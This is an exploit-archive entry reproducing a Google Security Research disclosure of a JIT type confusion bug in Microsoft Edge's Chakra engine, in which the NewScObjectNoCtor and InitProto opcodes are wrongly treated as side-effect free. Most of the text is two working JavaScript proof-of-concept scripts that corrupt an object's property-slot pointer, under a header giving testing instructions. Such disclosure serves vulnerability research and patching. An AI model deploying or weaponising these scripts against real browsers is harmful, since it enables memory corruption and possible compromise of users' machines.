Microsoft Edge Chakra - 'NewScObjectNoCtor' or 'InitProto' Type Confusion

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code txt

NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.

In the PoC, it overwrites the pointer to property slots with 0x1000000001234.

PoC for NewScObjectNoCtor:

function cons() {

}

function opt(o, value) {
    o.b = 1;

    new cons();

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        cons.prototype = {};

        let o = {a: 1, b: 2};
        opt(o, {});
    }

    let o = {a: 1, b: 2};

    cons.prototype = o;

    opt(o, 0x1234);

    print(o.a);
}

main();

PoC for InitProto:

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x1234);

    print(o.a);
}

main();
